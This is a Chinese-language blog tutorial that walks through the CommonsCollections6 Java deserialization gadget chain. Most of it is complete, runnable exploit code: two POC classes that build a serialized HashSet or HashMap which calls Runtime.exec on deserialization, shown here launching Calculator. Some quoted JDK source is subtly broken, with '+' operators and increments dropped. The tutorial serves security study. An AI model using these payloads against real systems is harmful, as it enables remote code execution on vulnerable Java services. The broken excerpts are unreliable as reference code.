CommonsCollections6
上一篇文章中通过AnnotationInvocationHandler#invoke
方法来触发LazyMap#get
方法,而AnnotationInvocationHandler
这个类在高版本Java(8u71以后)进行了修改,导致该利用链无法利用。
这里讲另一个相对比较通用的Gadget:CommonCollections6,这个Gadget使用了另一个类org.apache.commons.collections.keyvalue.TiedMapEntry
,该类在其hashCode
方法中调用了getValue
,而在getValue
中调用了this.map.get
,即可以调用LazyMap#get
方法。
利用链如下:
代码语言:javascript复制/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
by @matthias_kaiser
*/
TiedMapEntry
TiedMapEntry(Map<K,V> map, K key)
构造POC
- 这条链主要是找了另一个类来触发
LazyMap#get
,所以前半段可以直接复用上一篇的POC,并创建一个TiedMapEntry
对象
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
}
}
- 根据利用链可知,这里需要找到触发
TiedMapEntry#hashCode
的方式。另外从前面URLDNS那条链可以得知,先调用HashMap#put
,触发其中的HashMap#hash
,最后就可以触发TiedMapEntry#hashCode
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
HashSet
HashSet(int initialCapacity)
- 那么怎样调用
HashMap#put
呢,这里CC6的利用链用到了HashSet
的反序列化,先创建一个HashSet
对象
HashSet hashSet = new HashSet(1);
hashSet.add("test");
- 跟进看一下,发现在
readObject
方法中会对输入流s
进行反序列化,然后将s
作为Key
来调用map.put()
方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: "
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: "
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: "
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Constructing the backing map will lazily create an array when the first element is
// added, so check it before construction. Call HashMap.tableSizeFor to compute the
// actual allocation size. Check Map.Entry[].class since it's the nearest public type to
// what is actually created.
SharedSecrets.getJavaOISAccess()
.checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i ) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
- 然后再看
writeObject
方法,发现存在逻辑通过for
循环来对keySet
中的元素进行序列化。如果能够控制key
,那么就能控制s
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
序列化
- 如果想要控制
key
元素,那么首先要获取到map
这个对象,才能对key
进行操作
- `Field#get(Object obj)`,返回指定对象上这个字段的值
代码语言:javascript复制// 获取HashSet中的map字段
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
map.setAccessible(true);
// 获取hashSet对象上map字段的值
HashMap hashSetMap = (HashMap) map.get(hashSet);
- HashMap中有一个
table
属性,这个属性将<Key,Value>
封装在了Node
对象中
- 接下来就是操作
hashSetMap
这个HashMap对象,修改其中的Key。首先需要获取获取到了table
中的Key
后,再利用反射修改其为hashSetMap
// 获取HashMap中的table
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] mapArray = (Object[]) table.get(hashSetMap);
// 获取table中Node对象的Key
Object node = mapArray[0];
if (node == null) { node = mapArray[1]; }
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
// 设置tiedMap为Node对象的Key
key.set(node, tiedMap);
触发漏洞
- 最后再对
hashSet
对象进行序列化,并模拟反序列化场景来触发漏洞
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashSet);
System.out.println(baos);
// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
完整代码
代码语言:javascript复制import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
// new HashMap().put(tiedMap, "123");
HashSet hashSet = new HashSet(1);
hashSet.add("test");
// 获取HashSet中的map字段
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
map.setAccessible(true);
HashMap hashSetMap = (HashMap) map.get(hashSet);
// 获取HashMap中的table
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] mapArray = (Object[]) table.get(hashSetMap);
// 获取table中Node对象的Key
Object node = mapArray[0];
if (node == null) { node = mapArray[1]; }
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
// 设置tiedMap为Node对象的Key
key.set(node, tiedMap);
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashSet);
System.out.println(baos);
// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
}
}
简化版CC6
来源于P牛对CC6利用链的改造:phith0n/CommonsCollections6.java
这条简化版的利用链不需要用到HashSet,因为在HashMap的readObject
⽅法中,调⽤到了 hash(key)
,⽽hash
⽅法中调⽤了key.hashCode()
。
所以只需要让这个key
等于TiedMapEntry
对象,即构成TiedMapEntry.hashCode()
,进而触发后续的利用链
- 这里参考ysoserial工具,在Transformer数组最后增加了一个
ConstantTransformer(1)
,消除java.lang.UNIXProcess
报错
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
// new HashMap().put(tiedMap, "123");
// 不再使⽤原CommonsCollections6中的HashSet, 直接使⽤HashMap
Map expMap = new HashMap();
expMap.put(tiedMap, "valuevalue");
lazyMap.remove("keykey");
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
System.out.println(baos);
// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
}
}
- 参考文章:
- Commons-Collections 1-7 分析
版权属于:Naraku
本文链接:https://cloud.tencent.com/developer/article/1987782
本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~